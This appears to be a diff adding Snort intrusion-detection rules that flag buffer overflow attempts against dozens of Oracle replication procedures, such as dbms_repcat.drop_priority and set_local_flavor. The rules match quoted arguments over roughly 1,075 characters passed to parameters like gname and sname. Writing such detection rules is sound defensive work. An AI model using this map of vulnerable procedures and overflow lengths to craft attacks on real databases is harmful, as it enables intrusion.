+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.purge_flavor_definition buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.purge_flavor_definition"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2791; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_fla.begin_flavor_definition buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_fla.begin_flavor_definition"; nocase; pcre:"/\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2815; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.comment_on_priority_group buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.comment_on_priority_group"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2751; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_untrusted.register_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_untrusted.register_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2919; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.refresh_snapshot_repschema buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.refresh_snapshot_repschema"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*sname[\r\n\s]*=>[\r\n\s]*\2|sname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2911; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_mview_repobject buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_mview_repobject"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname|type)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname|type)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2769; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.set_local_flavor buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.set_local_flavor"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|fname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|fname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2806; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.add_priority_date buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.add_priority_date"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2860; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.switch_snapshot_master buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.switch_snapshot_master"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1073,}\x27|\x22[^\x22]{1073,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1073,}|\x22[^\x22]{1073,})|\(\s*(\x27[^\x27]{1073,}|\x22[^\x22]{1073,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2857; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_mas.rename_shadow_column_group buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_mas.rename_shadow_column_group"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2837; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat_instantiate.instantiate_online buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_instantiate.instantiate_online"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*refresh_template_name[\r\n\s]*=>[\r\n\s]*\2|refresh_template_name\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2787; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_fla.set_local_flavor buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_fla.set_local_flavor"; nocase; pcre:"/(\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2824; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.alter_priority_nvarchar2 buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_priority_nvarchar2"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2739; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.generate_snapshot_support buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.generate_snapshot_support"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname|type)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname|type)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2909; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.add_site_priority_site buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_site_priority_site"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2730; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.add_unique_resolution buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.add_unique_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2867; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.alter_priority_nchar buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.alter_priority_nchar"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2871; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_priority buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_priority"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2777; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.rename_shadow_column_group buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.rename_shadow_column_group"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2800; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_fla.validate_flavor_definition buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_fla.validate_flavor_definition"; nocase; pcre:"/\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2825; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.drop_site_priority buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.drop_site_priority"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2897; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna_utl.repcat_import_check buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna_utl.repcat_import_check"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2846; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.remove_master_databases buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.remove_master_databases"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2855; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.drop_priority_nchar buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.drop_priority_nchar"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2890; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.add_priority_raw buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_priority_raw"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2728; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.specify_new_masters buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.specify_new_masters"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2807; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_mas.resume_master_activity buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_mas.resume_master_activity"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2838; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.comment_on_unique_resolution buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.comment_on_unique_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2883; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.comment_on_repsites buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.comment_on_repsites"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2753; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna_utl.create_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna_utl.create_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|fname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|fname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){5}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){4}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2841; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_priority_nvarchar2 buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_priority_nvarchar2"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2775; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.add_priority_nvarchar2 buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.add_priority_nvarchar2"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2863; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_utl4.drop_master_repobject buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_utl4.drop_master_repobject"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*type[\r\n\s]*=>[\r\n\s]*\2|type\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2848; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_column_group_from_flavor buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_column_group_from_flavor"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2764; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.register_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.register_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2797; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.alter_site_priority buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_site_priority"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2744; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.define_site_priority buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.define_site_priority"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2762; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_offline_og.end_flavor_change buffer overflow attempt"; flow:to_server,established; content:"dbms_offline_og.end_flavor_change"; nocase; pcre:"/\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2711; rev:1;)
